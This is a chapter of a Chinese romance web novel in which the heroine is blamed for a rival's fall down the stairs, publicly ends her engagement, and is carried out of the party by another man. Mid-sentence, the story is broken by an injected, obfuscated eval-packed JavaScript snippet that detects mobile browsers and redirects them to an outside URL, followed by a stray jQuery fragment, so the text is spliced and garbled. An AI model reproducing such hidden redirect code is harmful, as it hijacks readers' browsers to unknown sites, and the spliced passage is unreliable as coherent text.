“轰——”脑海里有什么东西砰然炸开。
傅闻意更用力地推搡着他,抵抗不过,便只能伸手去捂住他的眼睛。
“你能不能别说这种奇奇怪怪的话。”
她音量拔高,好似这样就能掩盖掉心里的心虚,“还有啊,人和人交谈时要保持应该的社交距离,别总是动手动脚的,你这样我怎么跟你交流?”
“社交距离?”江渡心情好了些,笑着问,“不是上次摔倒怨我没有扶你的时候了?”
“那不一样!”傅闻意喊道。
“哪里不一样?”
他趁机抓住她松懈的手挪开。
也因此能极近得看到她湿漉漉的眸光,以及躲闪不定的眼神。
彼时宴席过半,已经有人陆陆续续地从主厅出来。
傅闻意害怕被人看见,毕竟她现在还依然顶着江晋年未婚妻的头衔。
于是猛地闭眼,脚下狠狠一跺——
“是你逼我的。”
与这句话同时响起的是江渡的闷哼声。
傅闻意赶紧趁此机会逃离他的桎梏,拎着裙摆走得又稳又快。
活像只被人踩了尾巴的兔子。
江渡看着那背影强装自若般冲进人群里,几秒后无声笑了。
大厅内,杯盏觥筹交错间,坐在末席的宋菱悄然观察着上位区那边,从坐下开始,便时刻准备着江晋年会把她介绍给身边的亲朋好友们。
可是除了偶尔看过来的关切眼神,江晋年的注意力大多数时间都放在窗外。
宋菱很清楚他在看谁。
宴席散后,江家父母招呼宾客到外面庭院里喝茶,家里的阿姨在一楼收拾饭桌。
宋菱跟着江晋年四处转了一圈,等江晋年离开招呼客人后,她回到二楼客厅的走道旁,那里堆放着客人们给江晋年送来的生日礼物。
其中,傅闻意送来的油画被放在最显眼的位置。
画中人的笑容栩栩如生,俊男靓女站在一块自成一道风景,看上去格外般配。
宋菱面色未改,没有犹豫,直接抬手将杯中还未喝完的红酒泼在画布上。
“你干什么?!”
傅闻意按徐知莲的吩咐到上楼来拿茶叶,抬头就撞见宋菱在毁她的画,猛地冲过去一把抓住她的手甩开。
宋菱吃痛地叫了声,酒杯应声碎裂。
与此同时,她忽然大惊失色,双脚踩空身体直直往楼梯后面倒去。
傅闻意的心猛地一跳。
即刻上前想要抓住她的手,却扑了个空,只能眼睁睁地看着宋菱滚下楼。
几乎是一瞬间,宋菱的叫声引来了还在别墅里停留的其他人。
江晋年和江家父母也很快赶到,最先出现的江晋年快步上前扶她起来,满眼关切:“伤到哪了?我带你去医院。”
宋菱却拉住他的胳膊摇头,“我没事......真的,只是不小心摔了一下,不关任何人的事。晋年,你别生气好吗。”
宋菱不推辞还好,在听到她把所有责任都自己揽下后,江晋年忽然抬起头。
双眸中怒意四起,狠狠盯着站在楼梯上方的傅闻意。
傅闻意知道那眼神代表着什么,而她也还没能从这突然的变故中回过神,只能下意识地开口分辨:“你别这样看着我,是她自己摔的。”
然而这简单的一句解释却没有任何说服力。
“她自己摔的?”江晋年满眼冷漠,“傅闻意,你做都做了,还不敢承认吗?”
“我没有做过的事,为什么要认?”
“而且是她毁我的画在先。”傅闻意拿着那副已经被红酒完全毁掉的画,走下台阶让他看得更清楚些,“何况我也只是甩开了她的手而已。”
“是她自己不小心——”
“够了!”江晋年沉声打断道,“我明明已经把话跟你说得很清楚了,你为什么还要如此逼迫她?”
那双眼里的厌恶作不得假。
傅闻意死死掐住掌心,不明所以地看着他,“你跟我说什么了?”
江晋年的思绪有一瞬抽离,他开始怀疑傅闻意是否已经看到了他的信,可是下一秒,心脏又被宋菱柔弱的声音紧紧包裹。
“晋年,你冷静一点好吗?是我不小心把红酒洒在傅小姐的画上的,都怪我......”她忍不住咳嗽起来,脸色苍白一片。
“还是送去医院看一下吧。”
毕竟人命关天,傅闻意也不忍心在争执孰对孰错上耽搁了治疗的时间。
可她的好心换来的却是江晋年更深的抵制,“不用你假惺惺地装好人。”
傅闻意错愕地看向他,两秒后忽然笑了,“我假惺惺?”
“江晋年,我跟你认识二十多年,在你心里我就是这样不折手段的人?”
江晋年的心隐隐被她眼中的受伤刺痛,微顿了顿,撇开眼不再看她,“我只相信自己眼睛看到的事实。”
“是啊,多么显而易见的事实。”
傅闻意深吸口气,将心头的酸涩狠狠压下,扔掉那副已经被毁坏得看不出原样的画。
“从你决定订婚宴那天跑去照顾她开始,就已经打定主意跟我退婚了吧。”
这话让周遭聚集的人顿时开始议论起来。
江琮山的脸色也因此变得极不好看。
见事情已经闹成这样,为了宋菱,江晋年只得顺势跟她把话讲开,“是,我一直都只是把你当成妹妹,当初是你主动跟我表白,我不想伤你心的才......”
“啪——”
江晋年左脸结结实实地受了一巴掌。
傅闻意放下手,眸中含着这些天的委屈和不甘,而在那一掌之后,凝现成一抹极淡的笑意,重新粉饰起她作为千金小姐的高傲。
“做都做了,还害怕承认吗?”她把他刚才的话原样回敬给他。
“晋年哥,这是我最后一次这么叫你。”
“不管你信不信,今天我过来,只是看着我们曾经有过的情分,作为一直被照顾的妹妹来为你庆贺生日,而不是顶着所谓未婚妻的身份。”
江晋年满眼震惊地看着她,但更让他意外的是她说出口的那些话。
“其实这段感情不止你觉得厌倦,我也不想再追着你跑了。你说得对,既然从一开始就是我一厢情愿,那今天也由我来喊停吧。”
傅闻意说完,又转身面对江家夫妇。
她语气平静不卑不亢,一如当初为了江晋年摆平订婚宴上的风波时那般。
干净又体面的将这段情缘斩断。
“江叔叔,阿姨。话都已经说到这个份上,我就趁这个机会,在各位叔伯婶婶的见证下,代
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490711|185846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表傅氏,正式和江晋年提出退婚。”
“从此以后,各生欢喜,两不相欠。”
言尽于此,傅闻意拨开人群下楼。
看着那道孤绝清瘦的背影,江晋年心里一时不忍,还想说点什么,怀里的宋菱却忽然晕了过去。
“宋菱,宋菱......”他大喊了几声无果,面色凝重地匆匆抱起人下楼。
不过几步之遥,江晋年和走在前面的傅闻意擦身而过。
一阵风拂过,轻轻荡漾起她水蓝色的礼服裙摆,钻石耳坠发出丁零当啷地脆响。
这一刻,她已然成为了本不该出现在这里的局外人。
傅闻意扶住门框,江晋年已经抱着宋菱上了车。
她停在原地,看着他们小时候在这个院子里留下的种种痕迹。
花圃边破损的围栏,凉亭旁空空如也的小鸟笼子,还有她千方百计始终都没养活的葡萄藤......这从前一切,都将在今晚彻底离她远去。
她还能抓住点什么呢?
视线所及之处人影幢幢,身边有人议论有人讨好,有人口不对心地规劝,还有躲在暗处的讥讽和嘲笑。
傅闻意能听见江家夫妇在里间安抚亲朋的声音,但她都没有去管。
她一步一步踩下台阶,行到中途时忽然脚下一软。
以为又要在这么多人面前再次丢脸时,胳膊被伸来的一只手稳稳握住。
傅闻意抬头,对上江渡那双深谙世事的眼眸。
那是她在漫无边际的寒冷月色里,找到的唯一栖身之所。
傅闻意吸了吸鼻子,虽然很拉不下脸面,但还是紧紧抓住他的手,“我脚好像崴了,你有没有办法让我看起来不那么落魄地走出去?”
公主把骄傲刻在了骨子里。
哪怕刀斧加身,也不愿低头半分。
江渡自然清楚她的脾性,倾身,呼吸覆在她耳畔,“那你记好了,又欠我一次。”
傅闻意犹疑地看过去。
只见他说完便俯身,双臂揽过她肩头和腿窝,轻轻松松地将她打横抱起。
见傅闻意浑身仍然紧绷着不自在,江渡顺势把人往怀里拢了拢,忽然的失重引得她惊呼一声,立即伸手搂住他的脖子。
一丝得逞的笑意从江渡眸中闪过,“抓紧点,摔了我可不管。”
傅闻意只得与他贴得更近,手上更是一刻都不敢放松,乖巧得像一只猫。
此时站在身后的人各个都是江家交好的亲友和合作伙伴,见到江渡和傅家千金如此亲昵的举动,才从这退婚风波中回过味来,又纷纷开始有了别的猜测。
江琮山对各路人马的疑惑应接不暇,转头看见如此景象,面色更沉了几分。
现如今这个当口退婚,难免不会牵扯到和傅氏后续的合作。
看来,他要尽快想办法挽回一些损失才好。
江琮山让徐知莲先招呼客人,抽身到隐蔽处招来秘书,“你去联系一下,上个月被傅氏辞退的吴总,找时间让他跟我见一面。”
秘书领命立刻着手去办。
夜凉如水,直至送走全部客人后江家才终于安静下来。
无人知晓的角落,有人悄悄捡起那副被遗忘的浸满酒渍的油画。
当晚,那幅画被秦旌取到,并依照吩咐放置在江渡的书房中。